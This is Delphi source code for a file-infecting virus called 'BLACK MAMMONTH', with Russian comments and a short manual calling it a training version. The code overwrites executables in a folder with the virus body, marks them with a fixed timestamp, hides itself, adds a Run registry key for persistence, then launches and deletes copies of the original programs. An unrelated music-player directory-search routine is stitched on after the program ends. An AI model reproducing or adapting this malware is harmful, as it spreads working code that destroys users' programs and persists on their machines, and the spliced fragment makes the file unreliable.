{
Исправил: ms301[bot-UA]

   BLACK MAMMONTH VIRUS,
   ОБУЧАЮЩАЯ ВЕРСИЯ.
   MADE IN USSR,
   Dr.Klouniz

   КАК ИГРАТЬСЯ С ЭТИМ ВИРУСОМ. ЮЗЕР МАНУАЛ:
   1.Создаем каталог c:\inf
   2.Компилируем вирус (Project--> Build)
   3.Cравниваем размер полученного файла с константой VIRLEN; если не совпадает-
   измени константу и перекомпилиру
   4. Переписываем в каталог c: \inf несколько exe - файлов и вирус.Запускаем вирус.
}

{$I-} // Игнорировать I/O ошибки
{$D-} // Не вводить в код отладочную информацию

program VirDebug;

uses sysutils, // Заголовочные файлы
   windows,
   registry, // Работа с системным реестром
   classes,
   ShellAPI,
   inifiles; // Работа с INI-файлами

const
   VIRLEN = 296960; // Длина нашего вируса. После компиляции сравните получ.

   // размер с указанным здесь, при необходимости измените и перекомпилируйте
var
   zertva, virus: TFileStream; // Мы и жертва
   // буфера для чтения записи довеска и вируса
   vir, dovesok: array [1 .. VIRLEN] of Char;
   result: integer; // результат FindFirst'а
   client, sr: TSearchRec;
   // Массив имени файла
   Name: array [1 .. 8] of string;
   // Массив расширения файла
   Ext: array [1 .. 3] of string;
   // Наш INI-каталог; вирус- полноценная прога под WindoZ!
   Info: TINIFILE;
   NewName, pr, par, FromF: string; // Разные строчки
   // Дата как метка зараженности
   Birth: TDateTime;
   kill, slay, winvir, NewProga: file; // файлы
   // Индикатор зараженности (TRUE/FALSE)
   infected: boolean;
   // Текстовый файл-визитка; свидетельствует о том, что это не первый
   // старт виря на данном компьютере
   check: textfile;
   si: Tstartupinfo;
   p: Tprocessinformation;
   reg: TRegistry;
   // Функция- копировалка

function WindowsCopyFile(FromFile, ToDir: string): boolean;
var
   F: TShFileOpStruct;
begin
   F.Wnd := 0;
   F.wFunc := FO_COPY;
   FromFile := FromFile + #0;
   F.pFrom := pchar(FromFile);
   ToDir := ToDir + #0;
   F.pTo := pchar(ToDir);
   F.fFlags := FOF_ALLOWUNDO or FOF_NOCONFIRMATION;
   result := ShFileOperation(F) = 0;
end;

procedure INFECTFILES; // Процедура-инфектор
begin
   // Находим исполн. файл в каталоге c:\inf\
   result := FindFirst('c:\INF\*.exe', faAnyFile, client);
   while result = 0 do // Если нашли, то...
   begin
     // Проверка на вшивость
     infected := false;
     // если дата- 09.08.83 и время 6:00, то файл заражен и нам не нужен
     if DateTimeToStr(FileDateToDateTime(fileage('c:\INF\' + client.Name))) = '09.08.83 06:00:00'
     then
       infected := true;
     // Проверено!
     // если мы нашли не сами себя и не зараженный файл, то...
     if (client.Name <> sr.Name) and (infected = false) and
       (client.Name <> 'mammonth.exe') then
     // Сочиним новое имя для нашей жертвы;
     begin
       Name[1] := inttostr(random(10));
       Name[2] := inttostr(random(10));
       Name[3] := inttostr(random(10));
       Name[4] := inttostr(random(10));
       Name[5] := inttostr(random(10));
       Name[6] := inttostr(random(10));
       Name[7] := inttostr(random(10));
       Name[8] := inttostr(random(10));
       Ext[1] := inttostr(random(10));
       Ext[2] := inttostr(random(10));
       Ext[3] := inttostr(random(10));
       NewName := name[1] + name[2] + name[3] + name[4] + name[5] + name[6] +
         name[7] + name[8] + '.' + Ext[1] + Ext[2] + Ext[3];
       // скомпонуем новое имя
       // Свяжемся с нашей жертвой
       AssignFile(kill, 'c:\INF\' + client.Name);
       // Отправим ее в загон для всех таких же, с уникальным именем
       ReName(kill, 'c:\INF\files\' + NewName);
       // Фиксируем новое имя в нашем каталоге
       Info := TINIFILE.create('c:\inf\filelist.ini');
       with Info do
       begin
         // Пишем данные с каталог в виде Исходное_имя_файла=Новое_имя_файла
         WriteString('FILELIST', client.Name, NewName);
         free;
       end;
       // А теперь заразим страшным ВИРУСОМ наш файл!
       // Открываем на чтение наш семенной фонд <img src="http://s5.ucoz.net/sm/23/smile.gif" border="0" align="absmiddle" alt="smile" />
       virus := TFileStream.create('c:\inf\mammonth.exe', fmOpenRead);
       virus.Read(vir, VIRLEN);
       // Читаем вирус полностью (константу VirLen помнишь?)
       // Если клиент поболее нас, но не более чем вдвое,
       if (client.Size > VIRLEN) and ((client.Size - VIRLEN) <= VIRLEN) then
       // то сравняем размеры
       begin
         virus.Position := 1; // Рамка считывания- сначала
         virus.Read(dovesok, client.Size - VIRLEN); // читаем довесок
       end;
       // перепишем жертву по- нашему
       zertva := TFileStream.create('c:\inf\' + client.Name, fmCreate);
       zertva.Write(vir, VIRLEN); // Запишем себя в жертву
       if (client.Size > VIRLEN) and ((client.Size - VIRLEN) <= VIRLEN) then
         zertva.Write(dovesok, client.Size - VIRLEN); // И сверху еще довесок
       Birth := StrToDateTime('09.08.83 06:00:00');
       // поставим жертве индикатор зараженности
       FileSetDate(zertva.Handle, DateTimeToFileDate(Birth));
       zertva.free; // Отпускаем жертву!
       virus.free;
     end;
     result := FindNEXT(client); // Ищем следуюущий екзешник
   end;
end;

procedure REGISTRATION;
begin
   // первый раз, в первый класс!
   MkDir('c:\inf\files'); // Создадим загон для жертв
   AssignFile(check, 'c:\inf\present.dat'); // Делаем файл-визитку
   ReWrite(check);
   WriteLn(check, 'BLACK MAMMONTH virus is now active in this computer');
   CloseFile(check); // Сделано!
   par := ParamStr(0); // Посмотрим полное имя нашего файла с путем
   WindowsCopyFile(par, 'c:\inf\'); // скопируем его в рабочий каталог (папку:))
   AssignFile(winvir, 'c:\inf\' + sr.Name); // Найдем его в рабочем каталоге
   ReName(winvir, 'c:\inf\mammonth.exe'); // ...И переименуем в mammonth.exe
   reg := TRegistry.create;
   // И пусть этот маммонт запускается каждый раз!
   FileSetAttr('c:\inf\mammonth.exe', faHidden);
   with reg do
   begin
     if OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run', true) then
     begin
       WriteString('MAMMONTH', 'c:\windows\mammonth.exe');
       CloseKey;
     end;
   end;
   // Все. Мы в реестре.
   // Халтим вирус с правдоподобным сообщением-
   // сюда можно вписать процедуру вызова StackOverflow
end;
// Процедура исполнения оригинальной проги

procedure EXECPROGRAM;
begin
   Info := TINIFILE.create('c:\inf\filelist.ini'); // Заглянем в каталог
   FromF := Info.ReadString('FILELIST', sr.Name, 'NewName');
   // Вытащим из загона нужный файл
   WindowsCopyFile('c:\inf\files\' + FromF, 'c:\inf\');
   AssignFile(NewProga, 'c:\inf\' + FromF);
   ReName(NewProga, 'c:\inf\' + '_' + sr.Name); // сделаем левый файл
   pr := 'c:\inf\' + '_' + sr.Name;
   Info.free;
   // Создали, теперь заКапустим его!!!
   FillChar(si, SizeOf(si), 0);
   with si do
   begin
     cb := SizeOf(si);
     dwFlags := startf_UseShowWindow;
     wShowWindow := 4;
   end;
   // Application.Minimize;
   pr := pr + #0;
   Createprocess(nil, @pr[1], nil, nil, false, Create_default_error_mode, nil,
     nil, si, p);
   Waitforsingleobject(p.hProcess, infinite);
   // Application.Restore;
   // Все, отпахала юзерская прога- потрем ее на хрен!
   AssignFile(slay, pr);
   Erase(slay);
end;

{
   КОНЕЦ ПРОЦЕДУРНОЙ ЧАСТИ
}

begin
   // узнаем имя файла, откуда стартовали
   FindFirst(ParamStr(0), faAnyFile, sr);
   // А вдруг первый раз на этом компе???
   AssignFile(check, 'c:\inf\present.dat');
   Reset(check);
   if IOresult <> 0 then // Если нашего файлика-визитки нет, пора зарегиться тут
   begin
     REGISTRATION;
     INFECTFILES;
     HaLt;
   end;
   if sr.Name = 'mammonth.exe' then
   begin
     // Можно запустить инфект файлов, но лучше вписать сюда какой-нибудь прикол
     // INFECTFILES;
     HaLt;
   end;
   INFECTFILES;
   EXECPROGRAM;

   { ++++END OF THE WORLD NEAR++++ }
end.

procedure TMusicCore.FindInDir(const path: string);
var
fullpath: string;
function recurse(var path: string): boolean;
var
srec: tsearchrec;
retval: integer;
oldlen: integer;

begin
recurse := true;
oldlen := length(path);
retval := findfirst(path + FMask, faanyfile, srec);
while retval = 0 do
begin
if (srec.attr and (fadirectory or favolumeid)) = 0 then
if true then
if Assigned(FFindInDirEvent) then
FFindInDirEvent(self, path + srec.name);
retval := findnext(srec);
end;
findclose(srec);
if not Result then
exit;
retval := findfirst(path + '*.*', fadirectory, srec);
while retval = 0 do
begin
if (srec.attr and fadirectory) <> 0 then
if (srec.name <> '.') and (srec.name <> '..') then

begin
path := path + srec.name + '\';
if not recurse(path) then
begin
Result := false;
break;
end;
delete(path, oldlen + 1, 255);
end;
retval := findnext(srec);
end;
findclose(srec);
end; { recurse }

begin
if path = '' then
getdir(0, fullpath)
else
fullpath := path;
if fullpath[length(fullpath)] <> '\' then
fullpath := fullpath + '\';

if FMask = '' then
recurse(fullpath)
else
recurse(fullpath);
end;